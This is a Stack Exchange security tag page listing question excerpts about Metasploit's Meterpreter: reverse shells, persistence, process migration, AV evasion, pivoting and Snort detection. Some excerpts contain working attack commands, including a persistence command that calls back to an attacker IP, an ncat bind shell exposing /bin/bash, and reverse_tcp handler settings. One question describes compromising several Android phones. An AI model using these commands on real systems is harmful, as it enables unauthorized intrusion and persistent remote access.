Episode #125 of the Stack Overflow podcast is here. We talk Tilde Club and mechanical keyboards. Listen now

Questions tagged [meterpreter]

The tag has no usage guidance.

Filter by
Sorted by
Tagged with
16
votes
2answers
14k views

How does process migration work in Meterpreter [closed]

Did anyone try to figure out how process migration works in Meterpreter in Windows? I want to make my own script to learn that, but am failing to find a starting point for that. Well, I have an idea ...
9
votes
1answer
2k views

Gained Privilege Escalation but no authority using Metasploit

I am facing a very weird issue. I have successfully popped a box using Shellter with Meterpreter_Reverse TCP. Here is the sysinfo : meterpreter > sysinfo Computer : ******** OS ...
6
votes
2answers
428 views

How does the Meterpreter load modules?

I've been using the Meterpreter for some time and I'm still quite new to it and one of the questions I have is how it's module loading works. Correct me if I'm wrong as I'm still learning how to use ...
6
votes
2answers
868 views

Can we decrypt captured malware (Meterpreter) HTTPS/SSL traffic with the keys from memory?

A machine on our network was compromised with Meterpreter. We have traffic captures from the entire period of the compromise and a memory dump of the infected machine at a time when the connection ...
6
votes
0answers
3k views

Meterpreter (Metasploit) anonymous reverse connection over Tor2web

The general consensus seems to be that one sets up a listener on a server accessible by a public IP and some port forwarding. For anonymity this should be a throw-away server or a hacked box. I've ...
5
votes
2answers
4k views

Snort rules to detect Meterpreter sessions

I am learning while configuring Snort, my setup consists in an attacker (Linux), a victim (Android smartphone) and one detection system (IDS). So far, I have been able to log all the packets between ...
5
votes
2answers
10k views

Meterpreter session over VPN

I have the following situation: Attacker machine connected to a router with public IP assigned from ISP, forwarding enabled. Victim machine connected to another router, (obviously) different IP ...
4
votes
1answer
14k views

Auto execute meterpreter commands on session start

Is there a way to run one or multiple meterpreter commands automatically, as soon as the listener gets a connection (i.e session is established with a target)? I want to run the 'hide_app_icon' ...
3
votes
3answers
2k views

Can we attack with and target the same computer

Recently I have gained interest in Kali, especially frameworks such as Metasploit. Let's assume that I only have one computer that does not have access to the internet. I want to learn how to use ...
3
votes
2answers
3k views

Meterpreter HTTPS detected by IPS

I am busy with security testing on a clients network and was asked to show how "easy" AV evasion is. I created a nice powershell reverse HTTPS file through veil-evasion, which is not detected by the ...
3
votes
3answers
589 views

Meterpreter shell and system shell define?

What is the difference between Meterpreter shell and system shell? For example, if I found some vulnerability in a system which allowed both shells, then what should I go for, system shell or ...
3
votes
1answer
2k views

Metasploit opens Meterpreter but shows no prompt please help

I have created a payload to a website with msfvenom, and started the exploit/multi/handler exploit, they then connect to each other and create a meterpreter session as seen below, but I do not get the ...
3
votes
1answer
753 views

How does metasploit persistence work?

When we remote exploit a target with meterpreter, we can use the command run persistence -U -i 10 -p 12345 -r 192.168.1.1 to make a persistent program that will try to connect to the machine which IP ...
3
votes
1answer
1k views

Upgrade shell to meterpreter behind NAT

I've been playing around with Metasploit the past week, and am successfully able to obtain a basic shell of the victim over the internet. I've currently: Created a DDNS that points to my public IP ...
3
votes
1answer
777 views

What causes a powershell payload to run the first time but not the second?

I created a windows/meterpreter/reverse_https powershell payload using the python script provided at the end of this article. In the first run, the meterpreter session opened successfully, when I ...
3
votes
1answer
353 views

Metasploit: pivoting to machine without internet access

Let's imagine the following (not uncommon) scenario: I'm doing a pentest from the outside I have a meterpreter session from a company PC that´s within their infrastructure (Let´s say w/ reverse HTTPS)...
3
votes
2answers
428 views

I am not getting meterpreter sessions when I am connected to an Openvpn

I have a router and the ports required for the backdoor to connect back to the listener are forwarded to my machine's internal ip. It all works fine only when I am not using VPN. But after connecting ...
3
votes
1answer
2k views

How does 32 bit Meterpreter migrate into 64 bit process?

If you have an 32bit Meterpreter running on a 64 bit remote system you can migrate into 64 bit processes. This isn't anything new and has been used by malware for ages but the thing that makes me ...
3
votes
1answer
633 views

Meterpreter SSL error after sleep

While heavily using metasploit on pentests, I start using sleep meterpreter command. I understand that this is not a persistence method, but sometimes it's very convenient. Sadly, when sessions ...
3
votes
1answer
396 views

MITMf which files can it patch

From this tutorial i found that it is possible using tool MITMf to patch exe files ''victim'' downloads in order to open a meterpreter shell. The commands that have been used are the following: use ...
3
votes
1answer
3k views

Meterpreter on non-jailbroken Iphone [closed]

I found this at github: https://github.com/AnwarMohamed/meterpreter-darwin Does anybody know if this works on a non-jailbroken Iphone? I downloaded it on my and double-clicked on the Makefile-icon, ...
2
votes
1answer
575 views

Can I use a domain name instead of an IP for msf persistence?

After getting a shell (meterpreter) on the victim, the first thing to do is to migrate and get the system, and then you would install a persistence to connect back to you. But the problem is the ...
2
votes
1answer
17k views

How do you send a 64 bit meterpreter stager? [closed]

All the stagers that are sent seem to be 32 bit. This is fine, until I have to run Mimikatz which on a 64 bit system you NEED to run the 64 bit mimikatz. Since the 64 bit Mimikatz won't run on the 32 ...
2
votes
2answers
747 views

Looking for a tutorial on meterpreter extensions

A simple custom DLL source would be sufficient. All of the links I find on Google are dead. I don't mind reading some clear source if there's a tutorial DLL floating about. I tried for ...
2
votes
1answer
1k views

Is it possible to run Meterpreter command in background

After spawning a meterpreter session from the target Windows 7 system I wanted to search for all the files with sub-string "clue" in in their name. As search -f "*clue*" took a long time to complete, ...
2
votes
1answer
599 views

Updating Metasploit Database Breaks Meterpreter Payload

This might be better posted on the R7 forum, but I feel like I might get a quicker response here as I'm waiting for access to post in their forums. On a base installation of Kali (Metasploit version ...
2
votes
2answers
1k views

Does hashdump also dump domain creds when run on a domain controller

If I understand correctly, meterpreter's hashdump dumps the content of the SAM file. Domain users should be in the AD database on domain controllers, which I understand is NTDS.dit . On my test ...
2
votes
3answers
4k views

(Solved) Meterpreter over ASPX webshell

I am a beginner and have just started working on pentesting engagements. I have a case where I have a victim IIS server (without PHP support) where I have aspx based web shell (https://github.com/...
2
votes
3answers
1k views

Documentation on Meterpreter Shells

I've been looking for some decent documentation on Meterpreter shells, but I can't seem to find anything useful. I would like to know when to use what kind of shell for a certain situation. All I ...
2
votes
1answer
142 views

Meterpreter and OpenVPN

During a meterpreter session, is it possible to deliver a payload that creates a connection request to a local OpenVPN connection? For example: I have a payload. Whenever that payload runs on the ...
2
votes
1answer
5k views

Executing a msfvenom shellcode in C program

This is obviously for educational purposes. I've been interested in learning more about malware and how it works. I'm trying to get a meterpreter reverse tcp shell working on windows 10 but more ...
2
votes
1answer
5k views

LPORT question - I seem to not understand some concepts

I am trying to build a payload for inserting as an obfuscated code into a Word document, which will create a listener on the attacked machine and will allow me to execute some commands (not through ....
2
votes
1answer
491 views

Is it possible to have full LAN access through a meterpreter session? e.g. for a MITM attack

Is it possible to perform a MITM Attack through a compromised Windows Machine in a internal LAN? How would be the attacker's scenario? How to do this?
2
votes
0answers
1k views

How to prevent multiple meterpreter sessions from same target?

I use a custom android/meterpreter/reverse_tcp payload from here. It connects back to the handler at specified time interval. When I use exploit as a job, I get multiple sessions from the same target ...
1
vote
3answers
5k views

Powershell scripts inside meterpreter sessions

I have aquestion i tried to answer myself without much success. I love all the powershell script provided for post exploitation purposes -> Powersploit; Nishang etc... My only problem is that i can't ...
1
vote
3answers
3k views

Port forwarding for reverse tcp

I am using metasploit to create a payload for Android phone (for educational purposes). If my target and my computer are on the same network it works fine. But when my target is outside connected to ...
1
vote
1answer
5k views

Meterpreter error: webcam_start: Operation failed: 14007

I managed to "infect" my test device, so I decided to try out some of meterpreter custom commands. This tool is awesome: I can copy, download, upload and manipulate the infected device, spy through ...
1
vote
1answer
2k views

Metasploit reverse shell through docker and virtual box

I am running metasploit on docker from: remnux/metasploit and I want to open a reverse shell on a virtual machine running windows 10 in virtual box. The docker container and the vm run on the same ...
1
vote
2answers
15k views

ms08_067_netapi not performing as expected on Windows XP SP1/SP3

I tried the exploit with meterpreter reverse tcp on both SP1/SP3 machines and both returned a statement of exploit completed but no session was created. Both machines have firewall off. I want to have ...
1
vote
1answer
170 views

Looking for a Meterpreter binary for android

I tried meterpreter for android. The apk that is generated by metasploit by giving remote host ip & port and then run on target phone. I found it as a handy tool to access my phone remotely. I ...
1
vote
1answer
1k views

Proxy aware or DNS capable meterpreter?

I'm having issues traversing a proxy protected network and was wondering if there are meterpreter implementations which allow proxy awareness (automatically using windows AD credentials) or which can ...
1
vote
1answer
136 views

PHP HTTP Reverse Shell?

Is there a PHP HTTP reverse shell? I haven't been able to find one, only ones that transmit using TCP packets (not HTTP). Note, I mean actually using HTTP packets as the C2, not just transmitting TCP ...
1
vote
2answers
2k views

meterpreter upload command does't work

I'm trying to upload nc.exe on a Windows 7 system, after having exploited it by using: exploit/windows/fileformat/ms15_100_mcl_exe. After obtaining the session: sessions –l sessions –i 1 I issued ...
1
vote
2answers
4k views

Meterpreter commands not working in shell [closed]

I used use multi/handler followed by set PAYLOAD windows/meterpreter/reverse_tcp then set LPORT 80 and set LHOST 192.168.0.11 after that I do exploit -j -z and go on my windows machine connected to ...
1
vote
1answer
4k views

Nothing happens when payload runs [closed]

i have a problem with using meterpreter. Here's what i did i'll tell it by using pictures of what i do step by step. First i created my payload and set the LHOST to my public ip address and generate ...
1
vote
1answer
3k views

Upgrade a ncat bind shell to meterpreter [closed]

During penetration tests, I am often able to open a Ncat Bind Shell on the victim system (linux), which opens a port that I can then connect to: nc -l -v -k -e /bin/bash -p 4444 I now want to ...
1
vote
1answer
2k views

Can a meterpreter session be reopened? [closed]

I tried to hack multiple android phones using .apk files but everytime the session lasts 5-10 seconds: [*] 94.243.71.172 - Meterpreter session 1 closed. Reason: Died Then, to open a new session ...
1
vote
1answer
601 views

Meterpreter detach command

In a meterpreter reverse_https session when I use the detach command it closes my current session and then creates another, what it is the purpose of this?
1
vote
2answers
329 views

Is it possible to execute metasploit exploits from Meterpreter?

I have an attack scenario, first I send a malicious pdf to my victim, then I have a reverse tcp shell (Meterpreter session) on his computer then I want to exploit a samba server (which is already ...
1
vote
1answer
21 views

How to connect to a meterpreter session opened manually on the target machine

I am trying to exploit a Windows 7 VM using metasploit. I was able to open a java meterpreter session and I want to access a native meterpreter. To do so I exported a meterpreter/reverse_tcp payload ...